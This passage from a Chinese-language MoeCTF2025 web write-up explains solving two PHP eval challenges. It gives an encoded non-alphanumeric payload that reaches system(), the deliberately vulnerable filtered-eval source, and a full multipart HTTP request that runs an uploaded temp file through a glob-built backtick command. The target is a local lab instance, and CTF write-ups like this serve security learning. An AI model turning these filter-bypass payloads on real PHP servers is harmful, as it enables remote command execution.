4__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24____.%3D%24__%3B%24__%3D%24_%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24____.%3D%24__%3B%24__%3D%24_%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24____.%3D%24__%3B%24_%3D%24%24____%3B%24___(%24_%5B_%5D)%3B

最后 POST 传参_即可RCE

1
_=system('env');

image-20250910103442768

这是…Webshell?_revenge

1
2
3
4
5
6
7
8
9
10
11
12
13
<?php
highlight_file(__FILE__);

if (isset($_GET['shell'])) {
$shell = $_GET['shell'];
if (strlen($shell) > 30) {
die("error: shell length exceeded");
}
if (preg_match("/[A-Za-z0-9_$]/", $shell)) {
die("error: shell not allowed");
}
eval($shell);
}

这题在上一个题的基础上多了对长度的限制,不能超过30字符,之前的payload就不能用了

image-20250910104545636

这里的 PHP 版本是5.6的,也不能利用取反绕过(取反绕过要求PHP版本在7以上)

通过这个 PHP 版本可以搜到一种绕过方法:上传临时文件

文章:https://www.leavesongs.com/PENETRATION/webshell-without-alphanum-advanced.html?page=2#reply-list

根据文章中的方法,可以直接构造出文件上传的请求包执行命令,要多试几次,因为是随机的

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
POST /?shell=?><?=`.+/%3f%3f%3f/%3f%3f%3f%3f%3f%3f%3f%3f[%40-[]`%3b?> HTTP/1.1
Host: 127.0.0.1:48364
Cache-Control: max-age=0
sec-ch-ua: "Chromium";v="135", "Not-A.Brand";v="8"
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "Windows"
Accept-Language: zh-CN,zh;q=0.9
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: none
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
Content-Type:multipart/form-data;boundary=--------123
Content-Length: 96

----------123
Content-Disposition:form-data;name="file";filename="1.txt"

id
----------123--

image-20250910140208220

image-20260204223856949


MoeCTF2025-WEB-WP
https://yschen20.github.io/2026/02/04/MoeCTF2025-WEB-WP/
作者
Suzen
发布于
2026年2月4日
更新于
2026年2月5日
许可协议